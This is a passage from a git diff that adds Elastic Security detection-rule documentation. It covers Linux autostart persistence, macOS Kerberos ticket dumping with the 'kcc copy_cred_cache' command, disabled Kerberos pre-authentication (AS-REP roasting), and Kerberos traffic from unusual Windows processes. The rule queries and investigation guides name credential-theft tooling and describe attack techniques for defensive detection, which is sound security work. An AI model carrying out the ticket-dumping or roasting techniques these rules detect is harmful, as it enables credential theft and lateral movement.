LIKE\n'/home/%/.kde4/Autostart/%.desktop' OR path LIKE '/root/.kde4/Autostart/%.sh' OR path LIKE\n'/root/.kde4/Autostart/%.desktop' OR path LIKE '/home/%/.kde/share/autostart/%.sh' OR path LIKE\n'/home/%/.kde/share/autostart/%.desktop' OR path LIKE '/root/.kde/share/autostart/%.sh' OR path LIKE\n'/root/.kde/share/autostart/%.desktop' OR path LIKE '/home/%/.kde4/share/autostart/%.sh' OR path LIKE\n'/home/%/.kde4/share/autostart/%.desktop' OR path LIKE '/root/.kde4/share/autostart/%.sh' OR path LIKE\n'/root/.kde4/share/autostart/%.desktop' OR path LIKE '/home/%/.local/share/autostart/%.sh' OR path LIKE\n'/home/%/.local/share/autostart/%.desktop' OR path LIKE '/root/.local/share/autostart/%.sh' OR path LIKE\n'/root/.local/share/autostart/%.desktop' OR path LIKE '/home/%/.config/autostart-scripts/%.sh' OR path LIKE\n'/home/%/.config/autostart-scripts/%.desktop' OR path LIKE '/root/.config/autostart-scripts/%.sh' OR path LIKE\n'/root/.config/autostart-scripts/%.desktop' OR path LIKE '/etc/xdg/autostart/%.sh' OR path LIKE\n'/etc/xdg/autostart/%.desktop' OR path LIKE '/usr/share/autostart/%.sh' OR path LIKE '/usr/share/autostart/%.desktop' )\n"}} + - !{osquery{"label":"Osquery - Retrieve Additional File Listing Information","query":"SELECT f.path, u.username AS file_owner, g.groupname AS group_owner, datetime(f.atime, 'unixepoch') AS\nfile_last_access_time, datetime(f.mtime, 'unixepoch') AS file_last_modified_time, datetime(f.ctime, 'unixepoch') AS\nfile_last_status_change_time, datetime(f.btime, 'unixepoch') AS file_created_time, f.size AS size_bytes FROM file f LEFT\nJOIN users u ON f.uid = u.uid LEFT JOIN groups g ON f.gid = g.gid WHERE ( path LIKE '/home/%/.config/autostart/%.sh' OR\npath LIKE '/home/%/.config/autostart/%.desktop' OR path LIKE '/root/.config/autostart/%.sh' OR path LIKE\n'/root/.config/autostart/%.desktop' OR path LIKE '/home/%/.kde/Autostart/%.sh' OR path LIKE\n'/home/%/.kde/Autostart/%.desktop' OR path LIKE '/root/.kde/Autostart/%.sh' OR path LIKE\n'/root/.kde/Autostart/%.desktop' OR path LIKE '/home/%/.kde4/Autostart/%.sh' OR path LIKE\n'/home/%/.kde4/Autostart/%.desktop' OR path LIKE '/root/.kde4/Autostart/%.sh' OR path LIKE\n'/root/.kde4/Autostart/%.desktop' OR path LIKE '/home/%/.kde/share/autostart/%.sh' OR path LIKE\n'/home/%/.kde/share/autostart/%.desktop' OR path LIKE '/root/.kde/share/autostart/%.sh' OR path LIKE\n'/root/.kde/share/autostart/%.desktop' OR path LIKE '/home/%/.kde4/share/autostart/%.sh' OR path LIKE\n'/home/%/.kde4/share/autostart/%.desktop' OR path LIKE '/root/.kde4/share/autostart/%.sh' OR path LIKE\n'/root/.kde4/share/autostart/%.desktop' OR path LIKE '/home/%/.local/share/autostart/%.sh' OR path LIKE\n'/home/%/.local/share/autostart/%.desktop' OR path LIKE '/root/.local/share/autostart/%.sh' OR path LIKE\n'/root/.local/share/autostart/%.desktop' OR path LIKE '/home/%/.config/autostart-scripts/%.sh' OR path LIKE\n'/home/%/.config/autostart-scripts/%.desktop' OR path LIKE '/root/.config/autostart-scripts/%.sh' OR path LIKE\n'/root/.config/autostart-scripts/%.desktop' OR path LIKE '/etc/xdg/autostart/%.sh' OR path LIKE\n'/etc/xdg/autostart/%.desktop' OR path LIKE '/usr/share/autostart/%.sh' OR path LIKE '/usr/share/autostart/%.desktop' )\n"}} +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. + - !{osquery{"label":"Osquery - Retrieve Running Processes by User","query":"SELECT pid, username, name FROM processes p JOIN users u ON u.uid = p.uid ORDER BY username"}} +- Investigate other alerts associated with the user/host during the past 48 hours. +- Validate the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Investigate whether the altered scripts call other malicious scripts elsewhere on the file system. + - If scripts or executables were dropped, retrieve the files and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - File access, modification, and creation activities. + - Cron jobs, services and other persistence mechanisms. + - !{osquery{"label":"Osquery - Retrieve Crontab Information","query":"SELECT * FROM crontab"}} +- Investigate abnormal behaviors by the subject process/user such as network connections, file modifications, and any other spawned child processes. + - Investigate listening ports and open sockets to look for potential command and control traffic or data exfiltration. + - !{osquery{"label":"Osquery - Retrieve Listening Ports","query":"SELECT pid, address, port, socket, protocol, path FROM listening_ports"}} + - !{osquery{"label":"Osquery - Retrieve Open Sockets","query":"SELECT pid, family, remote_address, remote_port, socket, state FROM process_open_sockets"}} + - Identify the user account that performed the action, analyze it, and check whether it should perform this kind of action. + - !{osquery{"label":"Osquery - Retrieve Information for a Specific User","query":"SELECT * FROM users WHERE username = {{user.name}}"}} +- Investigate whether the user is currently logged in and active. + - !{osquery{"label":"Osquery - Investigate the Account Authentication Status","query":"SELECT * FROM logged_in_users WHERE user = {{user.name}}"}} + + +*False positive analysis* + + +- If this activity is related to new benign software installation activity, consider adding exceptions — preferably with a combination of user and command line conditions. +- If this activity is related to a system administrator who uses cron jobs for administrative purposes, consider adding exceptions for this specific administrator user account. +- Try to understand the context of the execution by thinking about the user, machine, or business purpose. A small number of endpoints, such as servers with unique software, might appear unusual but satisfy a specific business need. + + +*Response and Remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Leverage the incident response data and logging to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Auditbeat + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +*Custom Ingest Pipeline* + +For versions <8.2, you need to add a custom ingest pipeline to populate `event.ingested` with @timestamp for non-elastic-agent indexes, like auditbeats/filebeat/winlogbeat etc. For more details to add a custom ingest pipeline refer to the https://www.elastic.co/guide/en/fleet/current/data-streams-pipeline-tutorial.html[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.type == "creation" and process.executable != null and +file.extension in ("sh", "desktop") and +file.path like ( + "/home/*/.config/autostart/*", "/root/.config/autostart/*", + "/home/*/.kde/Autostart/*", "/root/.kde/Autostart/*", + "/home/*/.kde4/Autostart/*", "/root/.kde4/Autostart/*", + "/home/*/.kde/share/autostart/*", "/root/.kde/share/autostart/*", + "/home/*/.kde4/share/autostart/*", "/root/.kde4/share/autostart/*", + "/home/*/.local/share/autostart/*", "/root/.local/share/autostart/*", + "/home/*/.config/autostart-scripts/*", "/root/.config/autostart-scripts/*", + "/etc/xdg/autostart/*", "/usr/share/autostart/*" +) and +not ( + process.name in ( + "yum", "dpkg", "install", "dnf", "teams", "yum-cron", "dnf-automatic", "docker", "dockerd", "rpm", "pacman", + "podman", "nautilus", "remmina", "cinnamon-settings.py", "executor", "xfce4-clipman", "jetbrains-toolbox", + "ansible-admin", "apk" + ) or + process.executable in ( + "/usr/bin/dnf5", "/usr/libexec/xdg-desktop-portal", "/usr/sbin/mkhomedir_helper", "/sbin/mkhomedir_helper", + "/usr/bin/crio", "/usr/sbin/useradd", "/usr/bin/nextcloud", "/usr/bin/sealert", "/opt/google/chrome/chrome", + "/usr/bin/pamac-daemon", "/usr/sbin/sshd", "/usr/sbin/gdm", "/usr/libexec/platform-python" + ) or + process.executable like "/home/*/.MathWorks/*/glnxa64/mlcpostinstall" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: XDG Autostart Entries +** ID: T1547.013 +** Reference URL: https://attack.mitre.org/techniques/T1547/013/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kerberos-cached-credentials-dumping.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kerberos-cached-credentials-dumping.asciidoc new file mode 100644 index 0000000000..c397f0a212 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kerberos-cached-credentials-dumping.asciidoc @@ -0,0 +1,166 @@ +[[prebuilt-rule-8-19-34-kerberos-cached-credentials-dumping]] +=== Kerberos Cached Credentials Dumping + +Identifies the use of the Kerberos credential cache (kcc) utility to dump locally cached Kerberos tickets. Adversaries may attempt to dump credential material in the form of tickets that can be leveraged for lateral movement. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/EmpireProject/EmPyre/blob/master/lib/modules/collection/osx/kerberosdump.py +* https://opensource.apple.com/source/Heimdal/Heimdal-323.12/kuser/kcc-commands.in.auto.html + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kerberos Cached Credentials Dumping* + + +Kerberos is a network authentication protocol designed to provide secure identity verification for users and services. It uses tickets to allow nodes to prove their identity in a secure manner. Adversaries may exploit tools like the Kerberos credential cache utility to extract these tickets, enabling unauthorized access and lateral movement within a network. The detection rule identifies suspicious activity by monitoring for specific processes and arguments on macOS systems, flagging potential credential dumping attempts. + + +*Possible investigation steps* + + +- Review the alert details to confirm the presence of the process name 'kcc' and the argument 'copy_cred_cache' in the process execution logs on macOS systems. +- Identify the user account associated with the process execution to determine if the activity aligns with expected behavior or if it indicates potential unauthorized access. +- Examine the timeline of the process execution to identify any preceding or subsequent suspicious activities, such as unusual login attempts or lateral movement within the network. +- Check for any other alerts or logs related to the same host or user account to assess if this is part of a broader attack pattern. +- Investigate the source and destination of any network connections made by the process to identify potential data exfiltration or communication with known malicious IP addresses. +- Consult with the user or system owner to verify if the use of the 'kcc' utility was legitimate or if it requires further investigation. + + +*False positive analysis* + + +- Routine administrative tasks using the kcc utility may trigger the rule. Identify and document these tasks to create exceptions for known benign activities. +- Automated scripts or maintenance processes that involve copying Kerberos credential caches can be mistaken for malicious activity. Review and whitelist these scripts if they are verified as safe. +- Developers or IT personnel testing Kerberos configurations might use the kcc utility in a non-malicious context. Establish a process to log and approve such activities to prevent false alarms. +- Security tools or monitoring solutions that interact with Kerberos tickets for legitimate purposes may inadvertently trigger the rule. Coordinate with security teams to ensure these tools are recognized and excluded from detection. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent further unauthorized access or lateral movement. +- Terminate the suspicious process identified as 'kcc' with the argument 'copy_cred_cache' to stop any ongoing credential dumping activity. +- Conduct a thorough review of the system's Kerberos ticket cache to identify any unauthorized access or anomalies, and invalidate any compromised tickets. +- Reset passwords and regenerate Kerberos tickets for any accounts that may have been affected to prevent further unauthorized access. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the scope of the breach. +- Implement additional monitoring on the affected system and similar endpoints to detect any recurrence of the credential dumping activity. +- Review and update access controls and Kerberos configurations to enhance security and reduce the risk of similar attacks in the future. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and + process.name == "kcc" and + process.args like~ "copy_cred_cache" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Technique: +** Name: Steal or Forge Kerberos Tickets +** ID: T1558 +** Reference URL: https://attack.mitre.org/techniques/T1558/ +* Sub-technique: +** Name: Kerberoasting +** ID: T1558.003 +** Reference URL: https://attack.mitre.org/techniques/T1558/003/ +* Sub-technique: +** Name: Ccache Files +** ID: T1558.005 +** Reference URL: https://attack.mitre.org/techniques/T1558/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kerberos-pre-authentication-disabled-for-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kerberos-pre-authentication-disabled-for-user.asciidoc new file mode 100644 index 0000000000..e5c9312221 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kerberos-pre-authentication-disabled-for-user.asciidoc @@ -0,0 +1,160 @@ +[[prebuilt-rule-8-19-34-kerberos-pre-authentication-disabled-for-user]] +=== Kerberos Pre-authentication Disabled for User + +Identifies the modification of an account's Kerberos pre-authentication options. An adversary with GenericWrite/GenericAll rights over the account can maliciously modify these settings to perform offline password cracking attacks such as AS-REP roasting. + +*Rule type*: eql + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://harmj0y.medium.com/roasting-as-reps-e6179a65216b +* https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4738 +* https://github.com/atc-project/atomic-threat-coverage/blob/master/Atomic_Threat_Coverage/Logging_Policies/LP_0026_windows_audit_user_account_management.md + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Defense Evasion +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Use Case: Active Directory Monitoring +* Data Source: Active Directory +* Data Source: Windows Security Event Logs +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 220 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Kerberos Pre-authentication Disabled for User* + + +Kerberos pre-authentication is an account protection against offline password cracking. When enabled, a user requesting access to a resource initiates communication with the Domain Controller (DC) by sending an Authentication Server Request (AS-REQ) message with a timestamp that is encrypted with the hash of their password. If and only if the DC is able to successfully decrypt the timestamp with the hash of the user’s password, it will then send an Authentication Server Response (AS-REP) message that contains the Ticket Granting Ticket (TGT) to the user. Part of the AS-REP message is signed with the user’s password. Microsoft's security monitoring https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4738[recommendations] state that `'Don't Require Preauth' – Enabled` should not be enabled for user accounts because it weakens security for the account’s Kerberos authentication. + +AS-REP roasting is an attack against Kerberos for user accounts that do not require pre-authentication, which means that if the target user has pre-authentication disabled, an attacker can request authentication data for it and get a TGT that can be brute-forced offline, similarly to Kerberoasting. + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Determine if the target account is sensitive or privileged. +- Inspect the account activities for suspicious or abnormal behaviors in the alert timeframe. + + +*False positive analysis* + + +- Disabling pre-authentication is a bad security practice and should not be allowed in the domain. The security team should map and monitor any potential benign true positives (B-TPs), especially if the target account is privileged. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Reset the target account's password if there is any risk of TGTs having been retrieved. +- Re-enable the preauthentication option or disable the target account. +- Review the privileges assigned to the involved users to ensure that the least privilege principle is being followed. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +Audit User Account Management must be enabled to generate the events used by this rule. +Setup instructions: https://ela.st/audit-user-account-management + + +==== Rule query + + +[source, js] +---------------------------------- +any where host.os.type == "windows" and event.code == "4738" and + winlog.event_data.NewUACList == "USER_DONT_REQUIRE_PREAUTH" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal or Forge Kerberos Tickets +** ID: T1558 +** Reference URL: https://attack.mitre.org/techniques/T1558/ +* Sub-technique: +** Name: AS-REP Roasting +** ID: T1558.004 +** Reference URL: https://attack.mitre.org/techniques/T1558/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Domain Accounts +** ID: T1078.002 +** Reference URL: https://attack.mitre.org/techniques/T1078/002/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kerberos-traffic-from-unusual-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kerberos-traffic-from-unusual-process.asciidoc new file mode 100644 index 0000000000..bc9d92f4d1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kerberos-traffic-from-unusual-process.asciidoc @@ -0,0 +1,217 @@ +[[prebuilt-rule-8-19-34-kerberos-traffic-from-unusual-process]] +=== Kerberos Traffic from Unusual Process + +Identifies network connections to the standard Kerberos port from an unusual process. On Windows, the only process that normally performs Kerberos traffic from a domain joined host is lsass.exe. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Resources: Osquery + +*Version*: 216 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Kerberos Traffic from Unusual Process* + + +Kerberos is the default authentication protocol in Active Directory, designed to provide strong authentication for client/server applications by using secret-key cryptography. + +Domain-joined hosts usually perform Kerberos traffic using the `lsass.exe` process. This rule detects the occurrence of traffic on the Kerberos port (88) by processes other than `lsass.exe` to detect the unusual request and usage of Kerberos tickets. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Check if the Destination IP is related to a Domain Controller. +- Review event ID 4769 for suspicious ticket requests. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + +*False positive analysis* + + +- This rule uses a Kerberos-related port but does not identify the protocol used on that port. HTTP traffic on a non-standard port or destination IP address unrelated to Domain controllers can create false positives. +- Exceptions can be added for noisy/frequent connections. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. + - Ticket requests can be used to investigate potentially compromised accounts. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] + + +==== Rule query + + +[source, js] +---------------------------------- +network where host.os.type == "windows" and event.type == "start" and network.direction == "egress" and + destination.port == 88 and source.port >= 49152 and process.pid != 4 and destination.address : "*" and + not + ( + process.executable : ( + "\\device\\harddiskvolume?\\program files (x86)\\nmap\\nmap.exe", + "\\device\\harddiskvolume?\\program files (x86)\\nmap oem\\nmap.exe", + "\\device\\harddiskvolume?\\windows\\system32\\lsass.exe", + "?:\\Program Files\\Amazon Corretto\\jdk1*\\bin\\java.exe", + "?:\\Program Files\\BlackBerry\\UEM\\Proxy Server\\bin\\prunsrv.exe", + "?:\\Program Files\\BlackBerry\\UEM\\Core\\tomcat-core\\bin\\tomcat9.exe", + "?:\\Program Files\\DBeaver\\dbeaver.exe", + "?:\\Program Files\\Docker\\Docker\\resources\\com.docker.backend.exe", + "?:\\Program Files\\Docker\\Docker\\resources\\com.docker.vpnkit.exe", + "?:\\Program Files\\Docker\\Docker\\resources\\vpnkit.exe", + "?:\\Program Files\\Google\\Chrome\\Application\\chrome.exe", + "?:\\Program Files\\Internet Explorer\\iexplore.exe", + "?:\\Program Files\\JetBrains\\PyCharm Community Edition*\\bin\\pycharm64.exe", + "?:\\Program Files\\Mozilla Firefox\\firefox.exe", + "?:\\Program Files\\Oracle\\VirtualBox\\VirtualBoxVM.exe", + "?:\\Program Files\\Puppet Labs\\Puppet\\puppet\\bin\\ruby.exe", + "?:\\Program Files\\rapid7\\nexpose\\nse\\.DLLCACHE\\nseserv.exe", + "?:\\Program Files\\Silverfort\\Silverfort AD Adapter\\SilverfortServer.exe", + "?:\\Program Files\\Tenable\\Nessus\\nessusd.exe", + "?:\\Program Files\\VMware\\VMware View\\Server\\bin\\ws_TomcatService.exe", + "?:\\Program Files (x86)\\Advanced Port Scanner\\advanced_port_scanner.exe", + "?:\\Program Files (x86)\\DesktopCentral_Agent\\bin\\dcpatchscan.exe", + "?:\\Program Files (x86)\\GFI\\LanGuard 12 Agent\\lnsscomm.exe", + "?:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", + "?:\\Program Files (x86)\\Internet Explorer\\iexplore.exe", + "?:\\Program Files 